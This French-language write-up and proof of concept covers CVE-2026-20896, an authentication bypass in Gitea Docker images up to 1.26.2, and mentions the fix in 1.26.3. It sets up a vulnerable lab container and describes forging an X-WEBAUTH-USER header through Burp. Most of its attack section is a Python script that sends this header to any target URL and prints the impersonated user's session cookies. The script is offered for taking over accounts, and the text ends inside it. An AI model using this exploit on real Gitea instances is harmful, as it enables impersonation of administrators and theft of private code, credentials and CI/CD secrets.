Une explication et un PoC pour exploiter la vulnérabilité de contournement de l'authentification CVE-2026-20896 sur Gitea. Permettant de voler les jetons de session des utilisateurs valides de l'instance Gitea.
Gitea est une plateforme d'hébergement Git open-source et légère qui permet aux organisations et aux développeurs de gérer des dépôts de code source, de suivre des problèmes, de réviser des modifications et de collaborer sur des projets logiciels. Elle offre des fonctionnalités similaires à des plateformes telles que GitHub et GitLab, mais est conçue pour être auto-hébergée, efficace et facile à maintenir, ce qui la rend adaptée aux organisations qui souhaitent un plus grand contrôle sur leur code et leur infrastructure de développement.
CVE-2026-20896 est une vulnérabilité critique de contournement d'authentification dans l'image Docker officielle de Gitea, évaluée CVSS 9.8 (Critique). Elle affecte les images Docker Gitea jusqu'à la version 1.26.2 incluse. Le problème sous-jacent est une configuration par défaut non sécurisée :
REVERSE_PROXY_TRUSTED_PROXIES = *, qui amène Gitea à faire confiance aux en-têtes d'authentification du proxy inverse provenant de n'importe quelle adresse IP. Lorsque l'authentification par proxy inverse est activée, un attaquant distant non authentifié peut donc fournir un en-têteX-WEBAUTH-USERfalsifié et faire en sorte que Gitea considère l'attaquant comme l'utilisateur spécifié. En particulier, usurper l'identité d'un administrateur peut aboutir à un accès administratif complet sans nécessiter de mot de passe ni de jeton d'authentification valide.
L'impact potentiel est grave, car un accès administratif à Gitea peut exposer des dépôts de code source privés, des identifiants et des secrets CI/CD, et permettre la modification de dépôts, de clés SSH, de webhooks et d'autres paramètres sensibles liés à la sécurité. La vulnérabilité concerne spécifiquement les déploiements utilisant l'image Docker affectée avec l'authentification par proxy inverse ; il ne s'agit pas simplement d'une faille dans le mécanisme d'authentification par mot de passe normal de Gitea. Gitea a corrigé le problème dans la version 1.26.3, et les administrateurs devraient effectuer une mise à niveau vers une version corrigée actuelle et vérifier leur configuration de confiance du proxy inverse plutôt que de s'appuyer sur le paramètre générique non sécurisé. Des rapports ont également indiqué des tentatives d'exploitation contre des instances Gitea exposées, ce qui rend une remédiation rapide particulièrement importante.
Nous allons exécuter un conteneur Docker utilisant une version vulnérable de Gitea, en l'occurrence la version 1.26.2, à l'aide du Dockerfile suivant :
FROM gitea/gitea:1.26.2
# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
GITEA__database__PATH=/data/gitea/gitea.db \
GITEA__security__INSTALL_LOCK=true \
GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true
RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu
CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'
# Start Gitea using the original image entrypoint.
/usr/bin/entrypoint "$@" &
pid=$!
trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT
# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
sleep 1
done
# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
--config "$CONFIG" \
--username jbkira \
--password "$ADMIN_PASSWORD" \
--email [email protected] \
--admin \
--must-change-password=false \
>/dev/null
wait "$pid"
SCRIPT
chmod +x /usr/local/bin/lab-entrypoint
EOF
ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]
Ensuite, pour construire le conteneur docker, utilisez la commande suivante :
docker build -t gitea-cve-2026-20896-lab .
Enfin, déployez le conteneur docker en utilisant la commande suivante :
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab
Si nous connaissons le nom d'un utilisateur quelconque sur l'instance Gitea, nous pouvons usurper son identité en abusant de l'en-tête
X-WEBAUTH-USER: username. Dans ce laboratoire, nous avons créé un utilisateur nommé jbkira, nous allons donc capturer un accès non authentifié normal à la page principale de Gitea en utilisant un proxy. Par exemple, j'utiliserai BurpSuite et nous ajouterons l'en-tête :
Si nous transmettons cette requête avec l'en-tête
X-WEBAUTH-USER, lorsque nous revenons sur la page Gitea dans notre navigateur, nous verrons que nous sommes maintenant connectés en tant qu'utilisateur jbkira. Mais cela ne fonctionne pas toujours de cette façon, j'ai donc créé un script PoC qui effectue l'attaque et vole le cookie de session de l'utilisateur cible, que vous pouvez ensuite copier et coller dans votre navigateur pour obtenir un accès à l'utilisateur cible.
PoC automatisé en Python qui exploite la faille de contournement d'authentification et vole le cookie de session de l'utilisateur cible :
import requests
import argparse
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def attack(url, target_user):
METHOD = "GET"
HEADERS = {
"User-Agent": "Mozilla/5.0",
"X-WEBAUTH-USER": f"{target_user}",
}
resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
print(f"[+] Status code: {resp.status_code}\n")
# Cookies that the server has set (via Set-Cookie)
if resp.cookies:
print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
for cookie in resp.cookies:
print(f" {cookie.name} = {cookie.value}")
else:
print(f"{RED}[-] The server has not returned any cookies.{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
return parser.parse_args()